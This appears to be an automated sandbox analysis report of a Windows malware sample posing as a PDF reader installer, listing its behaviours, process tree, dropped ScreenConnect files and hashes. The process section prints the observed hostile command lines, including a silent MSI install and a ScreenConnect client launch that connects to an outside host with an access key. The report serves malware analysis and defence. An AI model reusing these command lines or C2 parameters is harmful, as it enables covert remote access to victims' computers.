Analysis

  • max time kernel
    148s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    19/05/2026, 09:49

General

  • Target
    2026-05-19_aaffd47b43746ff71178168ad6fe02a7_amadey_coinminer_luca-stealer_njrat_remcos_smoke-loader.exe
  • Size 105.0MB
  • Sample260519-ltdmlady9r
  • SHA256 9dfec319c80b3314a8de20821d0e2e0b00283e04fac4723f3a48628784c600d8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Custom signature
    UPX dump on OEP (original entry point) 6 IoCs
  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 3 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 22 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-05-19_aaffd47b43746ff71178168ad6fe02a7_amadey_coinminer_luca-stealer_njrat_remcos_smoke-loader.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-05-19_aaffd47b43746ff71178168ad6fe02a7_amadey_coinminer_luca-stealer_njrat_remcos_smoke-loader.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1816
    • C:\Windows\SYSTEM32\msiexec.exe
      "msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Setup_747fb894\sc.msi" /quiet /norestart
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2760
    • C:\Users\Admin\AppData\Local\Temp\Setup_747fb894\Reader_en_install_original.exe
      "C:\Users\Admin\AppData\Local\Temp\Setup_747fb894\Reader_en_install_original.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:316
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2556
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 6A9389A36751C7ABA9309920F4011BD7
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2752
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI62CC.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240673593 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Drops file in Windows directory
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1484
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 072D0F6F9967815297E16CDA5F45B4EA E Global\MSI0000
      2⤵
      • Drops file in Windows directory
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:2136
  • C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=texornacu.com&p=8041&s=6c6adbb9-21c9-4c9d-aae5-d3eaeb44dffb&k=BgIAAACkAABSU0ExAAgAAAEAAQBtBhzErgNekI4PkkFNVg%2fsnlIjV9qtqz7eC6zt9eIRtsihfHnJRyUYzrxty%2fJpL%2f%2bCANjmq1%2f4y22KZduKD9qVb3x%2bhn04H%2b0CmjnKnTvXrAYP2lc%2bCGW5c1E6GnnA8EaT4d3uNtOqvIE0aldEqMyZ%2ffhbct2p8eNxlxbYk9dAiNkbYRv4azrofaLlTCdsJ3%2bu%2bDA6R9NE3ubLQ3FUX1C7kB2XsM%2b3iklTjAGGd8LQt%2bDDsNkuDl4yiKCh6rptkR7QyfwpcTBcX%2bcKDmjC%2f%2fLuSjKsPl%2fo4NrEYdlPnQRP8X1IHSfSuFXJxy875QBH7BgfY%2bEsAx9LDX22y2LaZCK6"
    1⤵
    • Sets service image path in registry
    • Drops file in System32 directory
    • Executes dropped EXE
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4740
    • C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\ScreenConnect.WindowsClient.exe" "RunRole" "1aff2a1e-47e7-4e6e-b01b-276e55a3bf93" "User"
      2⤵
      • Executes dropped EXE
      PID:4028
    • C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\ScreenConnect.WindowsClient.exe" "RunRole" "96d2c2d0-eb0c-4101-8844-4626b74ca832" "System"
      2⤵
      • Drops file in System32 directory
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:4680

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e5860bc.rbs

        • Path C:\Config.Msi\e5860bc.rbs
        • Size 214KB
        • SHA256 1fe495d2c18df8037296248ee1eaba34458a3f11dd2eefa0d18d1f29c191f0ac
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.Override.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\Client.Override.en-US.resources
        • Size 316B
        • SHA256 cc0f52a92862da80c84c6c59ff7229ffd8db8a5ebf99e9d6ad25ff3b003c8cce
        • MD5 SHA1 SHA512 TLSH

        Client.Override.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\Client.Override.resources
        • Size 465B
        • SHA256 32408185e248c9736a6e75ae1d3e4238d7198c9b0155dfe4ca1a42da99c65759
        • MD5 SHA1 SHA512 TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\Client.en-US.resources
        • Size 49KB
        • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\Client.resources
        • Size 28KB
        • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 33f8abd5722ab19aeacfe24319cda4433b0bf9b482dad4865685975c11c15534
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\ScreenConnect.ClientService.dll
        • Size 67KB
        • SHA256 554ba93c3c34fc5cf6cb49ac7285069e853aa5543219e012bf0e9ca4400c3255
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 4fe150116089d55c48748a97985f1d18054db5758020b193ad31d63e849b57f6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\ScreenConnect.WindowsClient.exe
        • Size 595KB
        • SHA256 465e9cee277db463677b2b593809e794279d64314b4fa736aa93780a0f7e3975
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.config

        • Path C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\app.config
        • Size 966B
        • SHA256 8ef5245cb2f1d9965f6ed912c793b78e1dc673a5ac6e21eec617df6e2a14ce34
        • MD5 SHA1 SHA512 TLSH

        system.config

        • Path C:\Program Files (x86)\ScreenConnect Client (657d7cc28658a401)\system.config
        • Size 955B
        • SHA256 a2efa8979c97f77a2b3d20d688b6bcddc903e899e9bc0c1da1e17ff66c46da94
        • MD5 SHA1 SHA512 TLSH

        Reader_en_install_original.exe

        • Path C:\Users\Admin\AppData\Local\Temp\Setup_747fb894\Reader_en_install_original.exe
        • Size 1.6MB
        • SHA256 76de2dbea39cce88c48be39a3da90b4f301532ae51059cb0041fb3676ac19d95
        • MD5 SHA1 SHA512 SSDEEP TLSH

        sc.msi

        • Path C:\Users\Admin\AppData\Local\Temp\Setup_747fb894\sc.msi
        • Size 12.8MB
        • SHA256 c5d81637c017103fa047400262329e5efba946f3f1b5a861a2b34e17001aa533
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI62CC.tmp

        • Path C:\Windows\Installer\MSI62CC.tmp
        • Size 1.0MB
        • SHA256 64ddf83b4acb09b518518e07a8ffd0446d256ff842c113efa1cdb6378fdf1018
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI62CC.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI62CC.tmp-\ScreenConnect.Core.dll
        • Size 539KB
        • SHA256 51d9dcd755a424b8b3122350bbcc02d453880c39636fb1e0265084161afca983
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI62CC.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 8f4a00b34720f19b0e67dc957085ad1986e58bb16a1abcc580dab21bcd61382d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSI62CC.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 602a640e2d9f94acfe47d3946f7dd088992431e24b670d40233e1ae6e9e270ad
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI6946.tmp

        • Path C:\Windows\Installer\MSI6946.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/316-255-0x0000000000C50000-0x00000000010D2000-memory.dmp

        memory/316-246-0x0000000000C50000-0x00000000010D2000-memory.dmp

        memory/316-248-0x0000000000C50000-0x00000000010D2000-memory.dmp

        memory/316-222-0x0000000000C50000-0x00000000010D2000-memory.dmp

        memory/316-76-0x0000000000C50000-0x00000000010D2000-memory.dmp

        memory/1484-110-0x0000000004C10000-0x0000000004C9E000-memory.dmp

        memory/1484-115-0x00000000055B0000-0x0000000005B54000-memory.dmp

        memory/1484-114-0x0000000004E50000-0x0000000004FFC000-memory.dmp

        memory/1484-106-0x00000000027E0000-0x00000000027EA000-memory.dmp

        memory/1484-102-0x00000000027A0000-0x00000000027CE000-memory.dmp

        memory/1816-12-0x000001E5656D0000-0x000001E565880000-memory.dmp

        memory/1816-157-0x000001E5685F0000-0x000001E5686C0000-memory.dmp

        memory/1816-56-0x000001E567ED0000-0x000001E567F60000-memory.dmp

        memory/1816-24-0x000001E567410000-0x000001E5674C0000-memory.dmp

        memory/1816-60-0x000001E5679E0000-0x000001E567A00000-memory.dmp

        memory/1816-52-0x000001E567A60000-0x000001E567AB0000-memory.dmp

        memory/1816-153-0x000001E568410000-0x000001E568520000-memory.dmp

        memory/1816-36-0x000001E567300000-0x000001E567340000-memory.dmp

        memory/1816-149-0x000001E5680C0000-0x000001E5680D0000-memory.dmp

        memory/1816-16-0x000001E562960000-0x000001E5629A0000-memory.dmp

        memory/1816-32-0x000001E562A50000-0x000001E562A80000-memory.dmp

        memory/1816-40-0x000001A4CD9C0000-0x000001A4CD9E0000-memory.dmp

        memory/1816-1-0x000001E563820000-0x000001E5644B0000-memory.dmp

        memory/1816-48-0x000001E567500000-0x000001E567520000-memory.dmp

        memory/1816-44-0x000001E5679A0000-0x000001E5679E0000-memory.dmp

        memory/1816-28-0x000001E5677A0000-0x000001E5679A0000-memory.dmp

        memory/1816-20-0x000001E567290000-0x000001E567300000-memory.dmp

        memory/1816-4-0x000001A4CD940000-0x000001A4CD990000-memory.dmp

        memory/1816-8-0x000001A4CBFD0000-0x000001A4CBFF0000-memory.dmp

        memory/4028-215-0x000000001BD20000-0x000000001BEA6000-memory.dmp

        memory/4028-216-0x0000000000FC0000-0x0000000000FD8000-memory.dmp

        memory/4028-210-0x0000000000980000-0x0000000000A18000-memory.dmp

        memory/4028-211-0x00000000029B0000-0x00000000029E6000-memory.dmp

        memory/4028-213-0x000000001B930000-0x000000001B9BE000-memory.dmp

        memory/4028-214-0x000000001BB70000-0x000000001BD1C000-memory.dmp

        memory/4028-218-0x000000001B550000-0x000000001B591000-memory.dmp

        memory/4028-217-0x00000000029F0000-0x0000000002A08000-memory.dmp

        memory/4680-220-0x0000000002B60000-0x0000000002BA1000-memory.dmp

        memory/4740-189-0x0000000004370000-0x0000000004445000-memory.dmp

        memory/4740-187-0x0000000003E10000-0x0000000003E51000-memory.dmp

        memory/4740-185-0x0000000004190000-0x0000000004222000-memory.dmp

        memory/4740-184-0x0000000003EA0000-0x0000000003ED6000-memory.dmp

        memory/4740-180-0x0000000003E50000-0x0000000003EA0000-memory.dmp

        memory/4740-169-0x0000000001670000-0x0000000001688000-memory.dmp